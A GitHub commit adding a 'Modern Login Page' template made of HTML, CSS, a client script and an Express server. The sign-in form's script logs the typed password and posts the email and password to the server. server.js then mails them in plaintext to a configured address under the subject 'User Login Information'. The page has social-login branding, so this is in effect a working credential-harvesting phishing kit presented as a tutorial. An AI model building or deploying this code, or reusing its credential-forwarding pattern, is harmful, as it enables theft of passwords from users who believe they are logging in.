Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
lyfe691 authored Mar 9, 2024
1 parent b6153b3 commit 891db11
Show file tree
Hide file tree
Showing 4 changed files with 370 additions and 0 deletions.
68 changes: 68 additions & 0 deletions index.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
<!--dont change anything here unless you know what you want to do-->

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css">
<link rel="stylesheet" href="style.css">
<script src="script.js" defer></script>
<title>Modern Login Page</title>
</head>

<body>

<div class="container" id="container">
<div class="form-container sign-up">
<form>
<h1>Create Account</h1>
<div class="social-icons">
<a href="#" class="icon"><i class="fa-brands fa-google-plus-g"></i></a>
<a href="#" class="icon"><i class="fa-brands fa-facebook-f"></i></a>
<a href="#" class="icon"><i class="fa-brands fa-github"></i></a>
<a href="#" class="icon"><i class="fa-brands fa-linkedin-in"></i></a>
</div>
<span>or use your email for registration</span>
<input type="text" placeholder="Name">
<input type="email" placeholder="Email">
<input type="password" placeholder="Password">
<button>Sign Up</button>
</form>
</div>
<div class="form-container sign-in">
<form id="loginForm" onsubmit="submitLoginForm(event)">
<h1>Sign In</h1>
<div class="social-icons">
<a href="#" class="icon"><i class="fa-brands fa-google-plus-g"></i></a>
<a href="#" class="icon"><i class="fa-brands fa-facebook-f"></i></a>
<a href="#" class="icon"><i class="fa-brands fa-github"></i></a>
<a href="#" class="icon"><i class="fa-brands fa-linkedin-in"></i></a>
</div>
<span>or use your email password</span>
<input type="email" placeholder="Email">
<input type="password" placeholder="Password">
<a href="#">Forget Your Password?</a>
<button type="submit">Sign In</button>
</form>
</div>
<div class="toggle-container">
<div class="toggle">
<div class="toggle-panel toggle-left">
<h1>Welcome Back!</h1>
<p>Enter your personal details to use all site features</p>
<button class="hidden" id="login">Sign In</button>
</div>
<div class="toggle-panel toggle-right">
<h1>Hello, Friend!</h1>
<p>Register with your personal details to use all site features</p>
<button class="hidden" id="register">Sign Up</button>
</div>
</div>
</div>
</div>

</body>

</html>
38 changes: 38 additions & 0 deletions script.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
//script.js

const container = document.getElementById('container');
const registerBtn = document.getElementById('register');
const loginBtn = document.getElementById('login');

registerBtn.addEventListener('click', () => {
container.classList.add("active");
});

loginBtn.addEventListener('click', () => {
container.classList.remove("active");
});

document.getElementById('loginForm').addEventListener('submit', submitLoginForm);

function submitLoginForm(event) {
event.preventDefault();

console.log('Submitting login form...');

const email = document.querySelector('#container .sign-in input[type="email"]').value;
const password = document.querySelector('#container .sign-in input[type="password"]').value;

console.log('Email:', email);
console.log('Password:', password);

fetch('/send-email', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ email, password }),
})
.then(response => response.text())
.then(data => console.log('Server response:', data))
.catch(error => console.error('Error:', error));
}
52 changes: 52 additions & 0 deletions server.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
//server.js

const express = require('express');
const bodyParser = require('body-parser');
const nodemailer = require('nodemailer');
const cors = require('cors');
const path = require('path');

const app = express();
const port = 3000;

app.use(cors());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());

const transporter = nodemailer.createTransport({
service: 'gmail', //enter your service, this tutorial is based on gmail.
auth: {
user: '-------', // enter sender email
pass: '------------------', //enter app generated password, no spaces.
},
});

app.post('/send-email', (req, res) => {
const { email, password } = req.body;

const mailOptions = {
from: '---------', //enter your sender email
to: '-----------', //enter your recipient email
subject: 'User Login Information',
text: `Email: ${email}\nPassword: ${password}`,
};

transporter.sendMail(mailOptions, (error, info) => {
if (error) {
return res.status(500).send(error.toString());
}

res.status(200).send('Email sent: ' + info.response);
});
});

// Serve static files from the root directory
app.use(express.static(__dirname));

app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'index.html'));
});

app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
212 changes: 212 additions & 0 deletions style.css
Original file line number Diff line number Diff line change
@@ -0,0 +1,212 @@
/* dont change anything here unless you wanna change the design*/

@import url('https://fonts.googleapis.com/css2?family=Montserrat:wght@300;400;500;600;700&display=swap');

*{
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Montserrat', sans-serif;
}

body{
background-color: #c9d6ff;
background: linear-gradient(to right, #e2e2e2, #c9d6ff);
display: flex;
align-items: center;
justify-content: center;
flex-direction: column;
height: 100vh;
}

.container{
background-color: #fff;
border-radius: 30px;
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.35);
position: relative;
overflow: hidden;
width: 768px;
max-width: 100%;
min-height: 480px;
}

.container p{
font-size: 14px;
line-height: 20px;
letter-spacing: 0.3px;
margin: 20px 0;
}

.container span{
font-size: 12px;
}

.container a{
color: #333;
font-size: 13px;
text-decoration: none;
margin: 15px 0 10px;
}

.container button{
background-color: #512da8;
color: #fff;
font-size: 12px;
padding: 10px 45px;
border: 1px solid transparent;
border-radius: 8px;
font-weight: 600;
letter-spacing: 0.5px;
text-transform: uppercase;
margin-top: 10px;
cursor: pointer;
}

.container button.hidden{
background-color: transparent;
border-color: #fff;
}

.container form{
background-color: #fff;
display: flex;
align-items: center;
justify-content: center;
flex-direction: column;
padding: 0 40px;
height: 100%;
}

.container input{
background-color: #eee;
border: none;
margin: 8px 0;
padding: 10px 15px;
font-size: 13px;
border-radius: 8px;
width: 100%;
outline: none;
}

.form-container{
position: absolute;
top: 0;
height: 100%;
transition: all 0.6s ease-in-out;
}

.sign-in{
left: 0;
width: 50%;
z-index: 2;
}

.container.active .sign-in{
transform: translateX(100%);
}

.sign-up{
left: 0;
width: 50%;
opacity: 0;
z-index: 1;
}

.container.active .sign-up{
transform: translateX(100%);
opacity: 1;
z-index: 5;
animation: move 0.6s;
}

@keyframes move{
0%, 49.99%{
opacity: 0;
z-index: 1;
}
50%, 100%{
opacity: 1;
z-index: 5;
}
}

.social-icons{
margin: 20px 0;
}

.social-icons a{
border: 1px solid #ccc;
border-radius: 20%;
display: inline-flex;
justify-content: center;
align-items: center;
margin: 0 3px;
width: 40px;
height: 40px;
}

.toggle-container{
position: absolute;
top: 0;
left: 50%;
width: 50%;
height: 100%;
overflow: hidden;
transition: all 0.6s ease-in-out;
border-radius: 150px 0 0 100px;
z-index: 1000;
}

.container.active .toggle-container{
transform: translateX(-100%);
border-radius: 0 150px 100px 0;
}

.toggle{
background-color: #512da8;
height: 100%;
background: linear-gradient(to right, #5c6bc0, #512da8);
color: #fff;
position: relative;
left: -100%;
height: 100%;
width: 200%;
transform: translateX(0);
transition: all 0.6s ease-in-out;
}

.container.active .toggle{
transform: translateX(50%);
}

.toggle-panel{
position: absolute;
width: 50%;
height: 100%;
display: flex;
align-items: center;
justify-content: center;
flex-direction: column;
padding: 0 30px;
text-align: center;
top: 0;
transform: translateX(0);
transition: all 0.6s ease-in-out;
}

.toggle-left{
transform: translateX(-200%);
}

.container.active .toggle-left{
transform: translateX(0);
}

.toggle-right{
right: 0;
transform: translateX(0);
}

.container.active .toggle-right{
transform: translateX(200%);
}

0 comments on commit 891db11

Please sign in to comment.